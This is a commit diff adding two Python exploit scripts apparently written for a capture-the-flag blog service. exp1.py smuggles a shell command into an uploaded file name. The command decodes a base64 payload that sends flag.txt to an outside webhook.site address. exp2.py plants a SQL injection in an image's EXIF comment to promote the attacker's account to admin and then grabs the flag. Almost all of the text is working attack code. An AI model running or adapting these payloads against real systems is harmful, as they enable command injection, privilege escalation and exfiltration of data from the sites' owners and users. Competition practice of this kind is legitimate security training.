add exploits for cdn and blogpost

services/blogpost/exploits/exp1.py

@@ -0,0 +1,63 @@
+#!/usr/bin/env python3
+import requests
+from pathlib import Path
+import random
+import string
+
+HOST = "http://localhost:4413"
+REGISTER_URL = HOST + "/register"
+LOGIN_URL = HOST + "/login"
+CREATE_URL = HOST + "/create"
+HOME_URL = HOST + "/"
+PROFILE_URL = HOST + "/profile"
+
+LOCAL_IMAGE = "test.png" # a valid image file on your machine
+# Generate random username and password
+def generate_random_string(length=8):
+    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
+
+USERNAME = generate_random_string()
+PASSWORD = generate_random_string()
+# choose payload variant: either use subshell $() or backticks `...`
+filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS8yNjcxZjg2Zi0xN2U4LTRiNDQtODFkYS00YWQ2ZDUyMTA0OWQnLCBkYXRhPW9wZW4oJ2ZsYWcudHh0JywgJ3JiJykucmVhZCgpKSI=' | base64 -d | bash;#.jpg"
+
+# choose which to use:
+filename_payload = filename_payload  # or payload_backticks
+
+s = requests.Session()
+
+r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD})
+if r.status_code != 200:
+    print("Registration failed. Status:", r.status_code)
+    # print("Response:", r.text[:400])
+    exit(1)
+else:
+    print(f"Registered user: {USERNAME}")
+
+r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
+if r.status_code != 200:
+    print("Login request status:", r.status_code)
+    print("Response:", r.text[:400])
+else:
+    print("Login attempted. Cookies:", s.cookies.get_dict())
+
+# 2) upload file with crafted filename in multipart
+img_path = Path(LOCAL_IMAGE)
+if not img_path.exists():
+    raise SystemExit(f"Local image {LOCAL_IMAGE} not found")
+
+with open(img_path, "rb") as fh:
+    # requests allows sending a custom filename (first item in tuple)
+    files = {
+        "image": (filename_payload, fh, "image/jpeg")
+    }
+    data = {"title": "tes payload python3 base64 cat to curl", "content": "ctf"}
+    r = s.post(CREATE_URL, data=data, files=files)
+    print("Upload response:", r.status_code)
+    # optionally print a bit of response to see if anything obvious happened
+    print(r.text[:800])
+
+# 3) fetch profile to see if you are admin and flag is shown
+r = s.get(PROFILE_URL)
+print("Profile status:", r.status_code)
+print(r.text[:1200])

services/blogpost/exploits/exp2.py

@@ -0,0 +1,95 @@
+import requests
+import random
+import string
+import re
+import subprocess
+from pathlib import Path
+
+print("SQLi (VULN 2) Exploit")
+
+HOST = "http://localhost:4413"
+REGISTER_URL = HOST + "/register"
+LOGIN_URL = HOST + "/login"
+CREATE_URL = HOST + "/create"
+HOME_URL = HOST + "/"
+PROFILE_URL = HOST + "/profile"
+
+# Generate random username and password
+def generate_random_string(length=8):
+    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
+
+USERNAME = generate_random_string()
+PASSWORD = generate_random_string()
+LOCAL_IMAGE = "sqli.png"  # Image to be modified with SQLi payload
+
+# 1) Modify the image with exiftool to embed SQLi payload
+sqli_payload = f"a'; UPDATE users SET role='admin' WHERE username='{USERNAME}';--"
+try:
+    subprocess.run([
+        "exiftool",
+        "-overwrite_original",
+        f"-Comment={sqli_payload}",
+        LOCAL_IMAGE
+    ], check=True)
+    print(f"Modified {LOCAL_IMAGE} with SQLi payload in Comment metadata")
+except subprocess.CalledProcessError as e:
+    print(f"Failed to modify image with exiftool: {e}")
+    exit(1)
+
+s = requests.Session()
+
+# 2) Register a new user
+r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD})
+if r.status_code != 200:
+    print("Registration failed. Status:", r.status_code)
+    # print("Response:", r.text[:400])
+    exit(1)
+else:
+    print(f"Registered user: {USERNAME}")
+
+# 3) Login with the new user
+r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
+if r.status_code != 200:
+    print("Login failed. Status:", r.status_code)
+    # print("Response:", r.text[:400])
+    exit(1)
+else:
+    print("Logged in successfully. Cookies:", s.cookies.get_dict())
+
+# 4) Upload the modified sqli.png image when creating a post
+img_path = Path(LOCAL_IMAGE)
+if not img_path.exists():
+    raise SystemExit(f"Local image {LOCAL_IMAGE} not found")
+
+with open(img_path, "rb") as fh:
+    files = {
+        "image": (LOCAL_IMAGE, fh, "image/png")
+    }
+    data = {"title": "SQLi Exploit", "content": "Testing SQLi payload"}
+    r = s.post(CREATE_URL, data=data, files=files)
+    print("Upload response status:", r.status_code)
+    # print("Upload response:", r.text[:800])
+
+# 5) Get the home page to find the newest post ID
+r = s.get(HOME_URL)
+print("Home page status:", r.status_code)
+
+# Extract post IDs using regex
+post_ids = re.findall(r'/post/(\d+)', r.text)
+if post_ids:
+    max_id = max(map(int, post_ids))
+    print(f"Newest post ID: {max_id}")
+else:
+    print("No post IDs found on home page.")
+    exit(1)
+
+# 6) Visit the profile page and search for the flag
+r = s.get(PROFILE_URL)
+print("Profile page status:", r.status_code)
+flag_pattern = r"GEMASTIK\{.*?\}"
+flag = re.search(flag_pattern, r.text)
+if flag:
+    print("Flag found:", flag.group(0))
+else:
+    print("Flag not found in response.")
+    # print("Response snippet:", r.text[:1200])